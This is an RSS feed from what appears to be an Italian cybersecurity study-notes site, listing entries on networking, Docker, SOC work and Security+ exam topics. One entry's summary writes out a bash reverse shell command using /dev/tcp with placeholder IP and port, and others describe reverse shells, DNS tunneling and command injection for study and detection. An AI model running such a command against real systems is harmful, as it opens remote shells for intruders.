<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Concetti on u-random</title><link>https://u-random.dev/concetti/</link><description>Recent content in Concetti on u-random</description><generator>Hugo -- gohugo.io</generator><language>it-it</language><lastBuildDate>Wed, 27 May 2026 00:00:00 +0000</lastBuildDate><atom:link href="https://u-random.dev/concetti/index.xml" rel="self" type="application/rss+xml"/><item><title>IDS e IPS - detection e prevention, host e rete</title><link>https://u-random.dev/concetti/ids-ips/</link><pubDate>Wed, 27 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ids-ips/</guid><description>IDS rileva, IPS blocca. HIDS/HIPS agiscono sull'host, NIDS/NIPS sulla rete. La differenza inline/non-inline determina quando il blocco avviene.</description></item><item><title>Well-Known Ports - Security+</title><link>https://u-random.dev/concetti/well-known-ports/</link><pubDate>Mon, 18 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/well-known-ports/</guid><description>Porte da sapere a memoria per Security+ SY0-701. Organizzate per categoria: file transfer, remote access, email, web, directory, network services, database, VPN/IPSec.</description></item><item><title>Ruoli Aziendali - C-Suite e figure Security</title><link>https://u-random.dev/concetti/ruoli-aziendali-security/</link><pubDate>Mon, 11 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ruoli-aziendali-security/</guid><description>Mappa delle figure dirigenziali e dei ruoli security in un'organizzazione. Utile per domande di governance e GRC sul Security+.</description></item><item><title>Bash Reverse Shell - Anatomia del comando</title><link>https://u-random.dev/concetti/bash-reverse-shell/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bash-reverse-shell/</guid><description>Analisi del comando bash -i &amp;gt;&amp;amp; /dev/tcp/IP/PORT 0&amp;gt;&amp;amp;1 - come funzionano i redirect di file descriptor e il pseudo-device /dev/tcp.</description></item><item><title>Kernel e Syscall - User Space vs Kernel Space</title><link>https://u-random.dev/concetti/kernel-syscall/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/kernel-syscall/</guid><description>Il kernel è il nucleo del sistema operativo. Le syscall sono l'interfaccia tra programmi utente e kernel. Architetture diverse (ARM64, x86_64) hanno numeri di syscall diversi.</description></item><item><title>Operational Plans - DRP, IRP, BCP, Change Management</title><link>https://u-random.dev/concetti/operational-plans/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/operational-plans/</guid><description>Distinzione tra i piani operativi: Disaster Recovery Plan, Incident Response Plan, Business Continuity Plan e Change Management. Termini D4/D5 Security+ frequenti.</description></item><item><title>Risk Management - Termini chiave</title><link>https://u-random.dev/concetti/risk-management-terms/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/risk-management-terms/</guid><description>Distinzione tra risk register, risk tolerance, risk transfer e risk analysis. Termini D5 Security+ che escono spesso nelle domande.</description></item><item><title>Security Controls - Tipi e Funzioni</title><link>https://u-random.dev/concetti/security-controls-types/</link><pubDate>Sun, 10 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/security-controls-types/</guid><description>Classificazione dei controlli di sicurezza per tipo (Technical/Administrative/Physical) e per funzione (Preventive/Detective/Corrective/Compensating/Deterrent/Directive).</description></item><item><title>Frame, Pacchetto, Segmento - OSI e Stream</title><link>https://u-random.dev/concetti/frame-packet-segment/</link><pubDate>Thu, 07 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/frame-packet-segment/</guid><description>Differenza tra frame (L2), pacchetto IP (L3) e segmento TCP (L4). Matrioska OSI, NIC, stream indipendenti per livello. Base per leggere correttamente tshark e Wireshark.</description></item><item><title>Incident Response - Modiga cap 9 - Analisi e risposta agli incidenti</title><link>https://u-random.dev/concetti/incident-response-modiga-cap9/</link><pubDate>Wed, 06 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/incident-response-modiga-cap9/</guid><description>Gestione degli incidenti secondo Modiga cap 9: fasi IH, detection, analisi, prioritizzazione, SIEM tuning, containment. Nota in corso - p. 509.</description></item><item><title>SOC - Struttura e Organizzazione</title><link>https://u-random.dev/concetti/soc-structure/</link><pubDate>Mon, 04 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/soc-structure/</guid><description>Struttura operativa di un SOC: tier, ruoli specializzati, modelli di deployment (interno/esterno/ibrido), SLA, KPI, differenza SOC vs NOC.</description></item><item><title>iptables - Netfilter firewall Linux</title><link>https://u-random.dev/concetti/iptables/</link><pubDate>Sun, 03 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/iptables/</guid><description>Motore firewall del kernel Linux basato su Netfilter. Organizza le regole in chain (INPUT, OUTPUT, FORWARD). UFW è un frontend che traduce comandi semplici in regole iptables.</description></item><item><title>Wazuh + auditd: rilevare una reverse shell con regola custom</title><link>https://u-random.dev/concetti/wazuh-auditd-custom-rule/</link><pubDate>Sat, 02 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/wazuh-auditd-custom-rule/</guid><description>Come integrare auditd con Wazuh (Docker) per rilevare bash /dev/tcp: architettura agent/manager, permessi, formato log, regola XML custom.</description></item><item><title>DNS e HTTP in una LAN con switch</title><link>https://u-random.dev/concetti/dns-http-lan-packet-tracer/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-http-lan-packet-tracer/</guid><description>Come funziona la risoluzione DNS e la richiesta HTTP in una LAN flat con switch, senza router né gateway.</description></item><item><title>Routing statico e topologia LAN-internet</title><link>https://u-random.dev/concetti/routing-statico-lan-internet/</link><pubDate>Fri, 01 May 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/routing-statico-lan-internet/</guid><description>Come configurare il routing statico su router Cisco per connettere una LAN privata a una rete pubblica simulata, con DNS e HTTP server esterni.</description></item><item><title>DNS Tunneling</title><link>https://u-random.dev/concetti/dns-tunneling/</link><pubDate>Wed, 29 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dns-tunneling/</guid><description>Tecnica C2 che usa il protocollo DNS per trasportare comandi e dati esfiltrati, bypassando i firewall perche' UDP 53 e' quasi sempre permesso.</description></item><item><title>RJ-45 e Cavi Ethernet - Pinout, Dritti e Incrociati</title><link>https://u-random.dev/concetti/rj45-cavi-ethernet/</link><pubDate>Wed, 29 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rj45-cavi-ethernet/</guid><description>Il connettore RJ-45 ha 8 pin con ruoli TX/RX distinti. I cavi dritti collegano dispositivi diversi, i cavi incrociati collegano dispositivi uguali. Il segnale elettrico codifica i bit tramite variazioni di tensione.</description></item><item><title>Incident Response - Framework e Lifecycle</title><link>https://u-random.dev/concetti/incident-response-lifecycle/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/incident-response-lifecycle/</guid><description>Definizione di IR, confronto framework (NIST, PICERL, MITRE ATT&amp;amp;CK, Time Based Security) e dettaglio operativo delle fasi PICERL con checklist.</description></item><item><title>IP Addressing &amp; Subnetting</title><link>https://u-random.dev/concetti/ip-addressing-subnetting/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-addressing-subnetting/</guid><description>L'indirizzamento IP definisce l'identità di una macchina in rete (IP) e il confine del suo quartiere (Subnet Mask). RFC1918, broadcast, segmentazione Blue Team.</description></item><item><title>IP Subnetting - Matematica e Routing</title><link>https://u-random.dev/concetti/ip-subnetting-theory/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-subnetting-theory/</guid><description>Matematica del subnetting: formula host 2^n-2, calcolo binario, conversione CIDR/mask, /32, routing table e flusso pacchetto attraverso router.</description></item><item><title>MITRE ATT&amp;CK Framework</title><link>https://u-random.dev/concetti/mitre-attack-framework/</link><pubDate>Tue, 28 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/mitre-attack-framework/</guid><description>Adversarial Tactics, Techniques, and Common Knowledge. Matrice globale per la tassonomia dei comportamenti avversari, con guida operativa all'uso in un SOC.</description></item><item><title>Command Injection</title><link>https://u-random.dev/concetti/command-injection/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/command-injection/</guid><description>Vulnerabilità A03 OWASP: input utente viene passato a una shell di sistema senza sanitizzazione. Permette esecuzione arbitraria di comandi sul server.</description></item><item><title>Heredoc - blocco di testo come stdin</title><link>https://u-random.dev/concetti/heredoc/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/heredoc/</guid><description>Sintassi bash per passare blocchi di testo multiriga come stdin a un comando. Usato con sudo tee per scrivere file di sistema.</description></item><item><title>Reverse Shell</title><link>https://u-random.dev/concetti/reverse-shell/</link><pubDate>Sun, 26 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/reverse-shell/</guid><description>Tecnica di accesso remoto dove la vittima si connette verso l'attaccante. Bypassa i firewall in ingresso. Rilevabile con auditd, Suricata o regole Wazuh custom.</description></item><item><title>file-descriptor</title><link>https://u-random.dev/concetti/file-descriptor/</link><pubDate>Thu, 23 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/file-descriptor/</guid><description>I tre canali standard aperti in ogni processo Unix: stdin (0), stdout (1), stderr (2). Fondamentali per capire pipe, redirezione e comportamento dei tool da terminale.</description></item><item><title>Architettura di Wazuh SIEM/XDR</title><link>https://u-random.dev/concetti/wazuh-architecture/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/wazuh-architecture/</guid><description>Analisi dei componenti core di Wazuh: Agent, Manager, Indexer e Dashboard. Funzionamento del flusso di telemetria.</description></item><item><title>BGP e Autonomous Systems (AS) - Il GPS di Internet</title><link>https://u-random.dev/concetti/bgp-asn-fundamentals/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bgp-asn-fundamentals/</guid><description>Guida completa al routing globale: gerarchia delle reti, analogia delle Città-Stato, differenze tra IGP/eBGP/iBGP e analisi del BGP Hijacking.</description></item><item><title>EICAR Test File - Lo standard per il test malware</title><link>https://u-random.dev/concetti/eicar-test-file/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/eicar-test-file/</guid><description>Una stringa standard di 68 caratteri utilizzata per testare il corretto funzionamento di antivirus, EDR e SIEM senza usare codice malevolo reale.</description></item><item><title>Indirizzi IP e Listening Ports - Guida SOC</title><link>https://u-random.dev/concetti/ip-listening-addresses/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-listening-addresses/</guid><description>Interpretazione degli indirizzi IP (0.0.0.0, 127.0.0.1, ::) e delle porte in ascolto durante l'investigazione SOC.</description></item><item><title>Rootkit - Il malware invisibile</title><link>https://u-random.dev/concetti/rootkit/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/rootkit/</guid><description>Set di strumenti malevoli progettati per nascondere processi, file e connessioni di rete, spesso operando a livello di Kernel.</description></item><item><title>TCP Reliability e Modello OSI - La Guida Semplificata</title><link>https://u-random.dev/concetti/tcp-reliability-osi/</link><pubDate>Wed, 22 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/tcp-reliability-osi/</guid><description>Spiegazione del meccanismo di conferma (ACK) del TCP e mappatura semplificata degli strati OSI (Layer 2, 3, 4) per l'analisi dei log.</description></item><item><title>SOC Tiers - Ruoli e Responsabilità</title><link>https://u-random.dev/concetti/soc-tiers/</link><pubDate>Mon, 20 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/soc-tiers/</guid><description>Livelli gerarchici del SOC, attività operative Tier 1-3, impatto dell'AI (SOC 2.0) e vantaggi del background da Developer.</description></item><item><title>Docker Network</title><link>https://u-random.dev/concetti/docker-network/</link><pubDate>Sat, 18 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-network/</guid><description>Docker crea reti virtuali isolate tra container. I container sulla stessa rete si vedono per nome (DNS interno). Quelli su reti diverse non si parlano - isolamento per design.</description></item><item><title>HTTP in Wireshark - TCP Segmentation e Packet Analysis</title><link>https://u-random.dev/concetti/http-wireshark/</link><pubDate>Fri, 17 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/http-wireshark/</guid><description>Come appare una sessione HTTP in Wireshark: TCP segmentation, MSS, Nagle's algorithm, gzip. Prospettiva packet analysis.</description></item><item><title>SMTP - Simple Mail Transfer Protocol</title><link>https://u-random.dev/concetti/smtp/</link><pubDate>Fri, 17 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/smtp/</guid><description>SMTP trasporta le email tra server. Architettura MUA/MTA, porte, flusso di consegna, email spoofing e meccanismi difensivi SPF/DKIM/DMARC.</description></item><item><title>DHCP - Dynamic Host Configuration Protocol</title><link>https://u-random.dev/concetti/dhcp/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dhcp/</guid><description>Protocollo che assegna automaticamente configurazione di rete ai dispositivi che si connettono - IP address, subnet mask, gateway, DNS. Senza DHCP ogni dispositivo dovrebbe essere configurato manualmente.</description></item><item><title>OWASP Top 10</title><link>https://u-random.dev/concetti/owasp-top10/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/owasp-top10/</guid><description>Framework di classificazione delle 10 vulnerabilità web più critiche. Usato dai SOC analyst per categorizzare gli attacchi nei log e nei report.</description></item><item><title>Unicast, Broadcast, Multicast</title><link>https://u-random.dev/concetti/unicast-broadcast-multicast/</link><pubDate>Thu, 16 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/unicast-broadcast-multicast/</guid><description>I tre modi in cui un pacchetto può essere indirizzato in rete: a uno solo (unicast), a tutti (broadcast), a un gruppo (multicast).</description></item><item><title>Command Chaining e Grouping</title><link>https://u-random.dev/concetti/command-chaining/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/command-chaining/</guid><description>Metodi per concatenare piu' comandi in un'unica riga di comando e gestire il flusso dell'output.</description></item><item><title>I Confini della Visibilità: Pubblico vs Privato</title><link>https://u-random.dev/concetti/confini-visibilita-web/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/confini-visibilita-web/</guid><description>Analisi dei tre pilastri (Document Root, Permessi, Configurazione) che determinano cosa e' esposto sul web e come i container aggiungono un ulteriore strato di isolamento.</description></item><item><title>Path Traversal</title><link>https://u-random.dev/concetti/path-traversal/</link><pubDate>Wed, 15 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/path-traversal/</guid><description>Vulnerabilita' che permette a un attaccante di leggere file arbitrari sul server manipolando parametri che costruiscono percorsi di file.</description></item><item><title>Docker - UID, permessi e volumi bind mount</title><link>https://u-random.dev/concetti/docker-uid-permessi/</link><pubDate>Mon, 13 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-uid-permessi/</guid><description>Il problema fondamentale dei bind mount Docker: l'UID dell'utente host e l'UID dell'utente container non coincidono, causando errori di permesso sui file montati. Soluzione: entrypoint dinamico che crea l'utente con il UID corretto a runtime.</description></item><item><title>Alternative a man (Cheatsheet)</title><link>https://u-random.dev/concetti/cheatsheet-alternatives/</link><pubDate>Sun, 12 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cheatsheet-alternatives/</guid><description>Panoramica delle risorse alternative ai manuali ufficiali (man) per consultare rapidamente esempi pratici di comandi CLI.</description></item><item><title>IPv6 - Internet Protocol Version 6</title><link>https://u-random.dev/concetti/ipv6/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ipv6/</guid><description>Successore di IPv4 a 128 bit. Elimina la scarsità di indirizzi, rimuove il broadcast, introduce multicast nativo, header fisso a 40 byte. Adozione globale ~45-49% (2026). Richiede firewall esplicito - niente NAT implicito.</description></item><item><title>MTU - Maximum Transmission Unit</title><link>https://u-random.dev/concetti/mtu/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/mtu/</guid><description>Maximum Transmission Unit - la dimensione massima in byte del payload di un frame su un link fisico. Opera a Layer 2. Determina se un pacchetto IP deve essere frammentato o se il mittente deve ridurre la dimensione dei dati.</description></item><item><title>NDP - Neighbor Discovery Protocol</title><link>https://u-random.dev/concetti/ndp-neighbor-discovery/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ndp-neighbor-discovery/</guid><description>Protocollo IPv6 che sostituisce ARP. Usa ICMPv6 e multicast invece di broadcast per trovare il MAC address di un host nella stessa LAN. Neighbor Solicitation (type 135) chiede, Neighbor Advertisement (type 136) risponde.</description></item><item><title>SQL Injection (SQLi)</title><link>https://u-random.dev/concetti/sql-injection/</link><pubDate>Fri, 10 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/sql-injection/</guid><description>Vulnerabilità web che permette di manipolare le query database tramite input non sanificati, bypassando i controlli di sicurezza.</description></item><item><title>IP Header e IPv4</title><link>https://u-random.dev/concetti/ip-header/</link><pubDate>Thu, 09 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ip-header/</guid><description>Struttura dell'header IPv4: campi principali, TTL, frammentazione, checksum. IPv4 opera a Layer 3 e si occupa del routing tra reti diverse. Diverso da MAC che opera solo nella LAN.</description></item><item><title>Docker Volumes</title><link>https://u-random.dev/concetti/docker-volumes/</link><pubDate>Wed, 08 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-volumes/</guid><description>Meccanismo di persistenza dei dati in Docker. I volumi sopravvivono al ciclo di vita dei container e possono essere condivisi tra piu container.</description></item><item><title>SSL/TLS</title><link>https://u-random.dev/concetti/ssl-tls/</link><pubDate>Tue, 07 Apr 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ssl-tls/</guid><description>Protocollo che cifra le connessioni di rete. TLS handshake, catena CA, Perfect Forward Secrecy, post-quantum cryptography. Confronto con SSH.</description></item><item><title>TCP Handshake</title><link>https://u-random.dev/concetti/tcp-handshake/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/tcp-handshake/</guid><description>Il TCP handshake e' la negoziazione obbligatoria che precede qualsiasi trasmissione dati via TCP. Tre pacchetti stabiliscono la connessione, uno la chiude. I flag nei pacchetti dicono tutto su cosa sta succedendo.</description></item><item><title>TCP vs UDP - Protocolli di Trasporto</title><link>https://u-random.dev/concetti/tcp-udp/</link><pubDate>Mon, 30 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/tcp-udp/</guid><description>TCP e UDP sono i due protocolli di trasporto al livello 4 dello stack OSI. TCP garantisce consegna ordinata con handshake e conferme. UDP e' senza connessione - veloce ma senza garanzie.</description></item><item><title>/var/run/docker.sock - il socket di Docker</title><link>https://u-random.dev/concetti/docker-sock/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-sock/</guid><description>docker.sock e' il Unix domain socket che permette al Docker CLI di comunicare con dockerd. Montarlo dentro un container equivale a dare al container il controllo completo di Docker - e quindi dell'host.</description></item><item><title>Git Objects - struttura interna di git</title><link>https://u-random.dev/concetti/git-objects/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/git-objects/</guid><description>Git memorizza tutto come oggetti immutabili nel database .git/objects. Ogni commit, system, albero e tag e' un oggetto con un hash SHA-1. Capire questa struttura e' fondamentale per il secret scanning - i segreti sopravvivono nella storia anche dopo la rimozione.</description></item><item><title>POSIX - Portable Operating System Interface</title><link>https://u-random.dev/concetti/posix/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/posix/</guid><description>POSIX (Portable Operating System Interface) e' uno standard IEEE che definisce il comportamento di shell, comandi e chiamate di sistema su Unix-like. Garantisce portabilita' degli script tra bash, zsh, sh e dash.</description></item><item><title>Secret Scanning - trovare segreti esposti</title><link>https://u-random.dev/concetti/secret-scanning/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/secret-scanning/</guid><description>Il secret scanning e' la pratica di cercare credenziali, chiavi API e segreti esposti per errore in repository git, file di configurazione e log. E' uno dei vettori di compromissione piu' comuni e sottovalutati.</description></item><item><title>Shebang - #!</title><link>https://u-random.dev/concetti/shebang/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shebang/</guid><description>Lo shebang (#!) e' la sequenza nei primi due byte di uno script che dice al kernel quale interprete usare. Senza shebang lo script viene eseguito dalla shell corrente - comportamento non portabile.</description></item><item><title>Shell - confronto e differenze</title><link>https://u-random.dev/concetti/shell-comparison/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-comparison/</guid><description>Le shell Unix sono interpreti di comandi che implementano POSIX come contratto minimo comune. sh e dash sono minimali e veloci, bash aggiunge estensioni comode, zsh aggiunge ancora di piu', fish rompe la compatibilita' POSIX per una sintassi piu' pulita.</description></item><item><title>SSH Protocol - Secure Shell</title><link>https://u-random.dev/concetti/ssh-protocol/</link><pubDate>Sat, 28 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/ssh-protocol/</guid><description>Protocollo per connessioni remote cifrate. Sostituisce Telnet e rlogin. Handshake, TOFU, autenticazione con chiave, challenge-response, Perfect Forward Secrecy. Confronto con TLS.</description></item><item><title>Bash Startup Files - file di avvio</title><link>https://u-random.dev/concetti/bash-startup-files/</link><pubDate>Thu, 26 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/bash-startup-files/</guid><description>I file di startup di bash determinano quali variabili, alias e funzioni vengono caricati all'avvio della shell. L'ordine di lettura dipende dal tipo di sessione: login shell o non-login shell.</description></item><item><title>auth.log - log di autenticazione</title><link>https://u-random.dev/concetti/auth-log/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/auth-log/</guid><description>auth.log e' il file di log delle autenticazioni su sistemi Debian/Ubuntu. Registra login SSH, sudo, su, adduser, userdel e ogni evento PAM. E' un file di testo alterabile da root - il journal e' piu' resistente alla manomissione.</description></item><item><title>journald - systemd-journald</title><link>https://u-random.dev/concetti/journald/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/journald/</guid><description>systemd-journald e' il demone che raccoglie e indicizza tutti i log di sistema in un database binario strutturato. A differenza di auth.log, usa FSS per rendere le modifiche rilevabili. Si legge con journalctl.</description></item><item><title>PAM - Pluggable Authentication Modules</title><link>https://u-random.dev/concetti/pam/</link><pubDate>Wed, 25 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/pam/</guid><description>PAM (Pluggable Authentication Modules) e' il sistema di autenticazione modulare di Linux. Ogni servizio delega l'autenticazione a PAM che esegue una catena di moduli configurabili in /etc/pam.d/.</description></item><item><title>Linux Processes - processi</title><link>https://u-random.dev/concetti/linux-processes/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/linux-processes/</guid><description>Un processo e' un programma in esecuzione con PID univoco, spazio di memoria isolato e stato. Il kernel crea l'illusione del multitasking switching rapidamente tra processi in coda CPU.</description></item><item><title>Shell Environment - ambiente shell</title><link>https://u-random.dev/concetti/shell-environment/</link><pubDate>Tue, 24 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-environment/</guid><description>L'ambiente shell e' l'insieme di variabili d'ambiente ereditate dai processi figli. Distingue variabili locali (solo shell corrente) da variabili d'ambiente (esportate, visibili ai figli).</description></item><item><title>Etc Directory Purpose</title><link>https://u-random.dev/concetti/etc-directory-purpose/</link><pubDate>Mon, 23 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/etc-directory-purpose/</guid><description>La directory /etc/ contiene i file di configurazione globali del sistema operativo. Include i database critici per la gestione di utenti, gruppi e privilegi.</description></item><item><title>CIA Triad</title><link>https://u-random.dev/concetti/cia-triad/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cia-triad/</guid><description>La triade CIA definisce i tre obiettivi fondamentali della sicurezza informatica: Confidentiality, Integrity, Availability. Ogni attacco viola almeno uno di questi tre pilastri.</description></item><item><title>Cryptography</title><link>https://u-random.dev/concetti/cryptography/</link><pubDate>Sun, 22 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/cryptography/</guid><description>La crittografia protegge la Confidentiality e l'Integrity dei dati. Due approcci principali: simmetrica (una chiave, veloce) e asimmetrica (coppia pubblica/privata, lenta). I sistemi reali usano entrambe insieme.</description></item><item><title>Command Grouping - {}</title><link>https://u-random.dev/concetti/command-grouping/</link><pubDate>Sat, 21 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/command-grouping/</guid><description>Le graffe {} raggruppano piu' comandi in un unico stdout. La pipe che segue riceve tutto l'output come se fosse un comando solo. Fondamentale per mandare stream di dati a un processo senza aprire connessioni multiple.</description></item><item><title>Docker - Modello Mentale</title><link>https://u-random.dev/concetti/docker-overview/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-overview/</guid><description>Modello mentale per capire Docker prima di entrare nei dettagli tecnici. Ogni container e' un mini Linux isolato - un appartamento in un condominio.</description></item><item><title>Docker Compose</title><link>https://u-random.dev/concetti/docker-compose/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-compose/</guid><description>File YAML che descrive un'applicazione multi-container: quali immagini usare, come configurarle, come collegarle in rete, dove salvare i dati. Un solo file per gestire tutta l'infrastruttura.</description></item><item><title>Docker Image</title><link>https://u-random.dev/concetti/docker-image/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-image/</guid><description>Un'immagine Docker e' il template immutabile da cui nascono i container. Contiene il filesystem, le dipendenze e le istruzioni di avvio. Il container e' l'immagine in esecuzione.</description></item><item><title>Docker Security</title><link>https://u-random.dev/concetti/docker-security/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/docker-security/</guid><description>I rischi di sicurezza specifici di Docker: docker.sock come vettore di privilege escalation, container root, porte esposte, immagini vulnerabili. Come difendersi da ciascuno.</description></item><item><title>Dockerfile</title><link>https://u-random.dev/concetti/dockerfile/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/dockerfile/</guid><description>File di istruzioni per costruire un'immagine Docker. Ogni istruzione aggiunge un layer. ENTRYPOINT e CMD definiscono cosa esegue il container quando parte.</description></item><item><title>Reverse Proxy</title><link>https://u-random.dev/concetti/reverse-proxy/</link><pubDate>Thu, 19 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/reverse-proxy/</guid><description>Server intermediario che si posiziona davanti all'infrastruttura interna, accettando tutte le richieste esterne e distribuendole ai server giusti. Protegge il server, non il client.</description></item><item><title>Shell Interattiva vs Non Interattiva</title><link>https://u-random.dev/concetti/shell-interattiva/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/shell-interattiva/</guid><description>La differenza tra shell interattiva e non interattiva determina quali file di configurazione vengono letti all'avvio. Fondamentale per capire persistence via dotfile e comportamento di SSH.</description></item><item><title>SUID, SGID e Sticky Bit</title><link>https://u-random.dev/concetti/suid-sgid-sticky/</link><pubDate>Wed, 18 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/suid-sgid-sticky/</guid><description>I tre bit speciali dei permessi Linux: SUID fa girare un processo con i permessi del proprietario del file, SGID con quelli del gruppo, Sticky Bit impedisce la cancellazione da parte di chi non è proprietario.</description></item><item><title>HTTP in Detail</title><link>https://u-random.dev/concetti/http-in-detail/</link><pubDate>Tue, 17 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/http-in-detail/</guid><description>Protocollo HTTP: struttura URL, metodi, status code, header, cookie e sessioni. Prospettiva applicativa.</description></item><item><title>ARP - Address Resolution Protocol</title><link>https://u-random.dev/concetti/arp/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/arp/</guid><description>Protocollo che traduce indirizzi IP (Layer 3) in indirizzi MAC (Layer 2). Quando un dispositivo vuole comunicare con un IP nella stessa subnet, usa ARP per scoprire il MAC address corrispondente prima di poter inviare i dati.</description></item><item><title>Compressione Nidificata (Nested Compression)</title><link>https://u-random.dev/concetti/nested-compression/</link><pubDate>Sun, 15 Mar 2026 00:00:00 +0000</pubDate><guid>https://u-random.dev/concetti/nested-compression/</guid><description>Tecnica di offuscamento che consiste nel comprimere un file più volte usando algoritmi diversi per nasconderne il contenuto 